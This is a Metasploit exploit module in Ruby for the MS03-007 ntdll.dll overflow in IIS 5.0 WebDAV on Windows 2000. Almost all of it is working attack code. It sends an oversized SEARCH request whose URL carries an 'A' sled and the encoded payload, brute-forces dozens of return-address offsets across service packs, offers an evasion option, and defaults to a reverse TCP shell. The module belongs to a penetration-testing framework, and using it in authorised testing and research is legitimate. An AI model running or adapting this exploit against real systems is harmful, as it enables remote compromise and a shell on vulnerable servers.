modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against SP0 to SP3.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2003-0109'],
['OSVDB', '4467'],
['BID', '7116'],
['PACKETSTORM', '30939'],
['MSB', 'MS03-007']
],
'Privileged' => false,
'Payload' => {
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Targets' => [
[ 'Automatic Brute Force', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2003-05-30',
'DefaultTarget' => 0
)
)
register_evasion_options(
[
# XXX: We don't have a style for module-local evasion settings yet, so use Advanced's formatting
OptBool.new('InvalidSearchRequest', [false, 'Replace the valid XML search with random data', false]),
# XXX - ugh, there has to be a better way to remove entries from an
# enum that overwriting the evalable enum option
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
], self.class
)
deregister_options('HTTP::junk_params', 'HTTP::header_folding')
end
def autofilter
# Common vulnerability scanning tools report port 445/139
# due to how they test for the vulnerability. Remap this
# back to 80 for automated exploitation
rport = datastore['RPORT'].to_i
if (rport == 139 || rport == 445)
datastore['RPORT'] = 80
end
true
end
def check
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
return CheckCode::Safe('Connection failed') unless res
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
response = send_request_cgi({
'uri' => "/#{'x' * 65535}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
if response && response.body.to_s.include?('Server Error(exception')
return CheckCode::Vulnerable("We've hit a server error (exception)")
end
# Request-URI Too Long
if response && response.code == 414
return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
end
# Did the server stop accepting requests?
begin
send_request_raw({ 'uri' => '/' }, 5)
rescue StandardError
return CheckCode::Appears('The server stopped accepting requests') unless res
end
CheckCode::Safe
end
def exploit
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
fail_with(Failure::Unreachable, 'Connection failed') unless res
# Common offsets
common_offsets = [
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
]
# Generic Bruteforce - Windows 2000 Professional
pro_offsets = [
"\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
"\x41\xab", # Windows 2000 Professional (SP1 AR)
"\x41\xac", # Windows 2000 Professional (SP0 FI)
"\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xaf",
"\x41\xb0",
"\x41\xb1", # Windows 2000 Professional (SP0 EN)
"\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
"\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
"\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
"\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
"\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
"\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
"\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
"\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
"\x41\xbe", # Windows 2000 Professional (SP0 TR)
"\x41\xbf", # Windows 2000 Professional (SP0 FI)
]
# Generic Bruteforce - Windows 2000 Server
server_offsets = [
"\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x4f\xc4", # Windows 2000 Server (SP2 EN)
"\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
"\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
"\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)
"\x4f\x40",
"\x4f\x41",
"\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x4f\x44",
"\x4f\x45",
"\x4f\x46",
"\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
"\x4f\x48",
"\x4f\x49",
"\x4f\x4a",
"\x4f\x4b",
"\x4f\x4c",
"\x4f\x4d",
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\x4f",
"\x41\x40",
"\x41\x41",
"\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\x44",
"\x41\x45",
"\x41\x46",
"\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
"\x41\x48", # Windows 2000 Server (SP1 SE)
"\x41\x49",
"\x41\x4a",
"\x41\x4b",
"\x41\x4c",
"\x41\x4d",
"\x41\x4e",
"\x41\x4f",
"\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x41\xc4", # Windows 2000 Server (SP2 EN)
"\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
"\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
]
if datastore['InvalidSearchRequest']
xml = rand_text(32..1056)
else
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
end
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
# This decodes to "inc ecx"
url = 'A' * (65_516 - payload.encoded.length)
url << payload.encoded
offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq
offsets.each_with_index do |ret, index|
print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
url[283, 2] = ret
begin
send_request_cgi({
'uri' => "/#{url}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
rescue StandardError => e
print_error("Attempt failed: #{e}")
end
1.upto(8) do |_i|
select(nil, nil, nil, 0.25)
break if session_created?
end
break if session_created?
fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
end
end
# Try connecting to the server up to 20 times, with a two second gap
# This gives the server time to recover after a failed exploit attempt
def service_running?
print_status('Checking if IIS is back up after a failed attempt...')
1.upto(20) do |i|
break if session_created?
return true if send_request_raw({ 'uri' => '/' }, 5)
print_error("Connection failed (#{i} of 20)...")
select(nil, nil, nil, 2)
end
false
end
end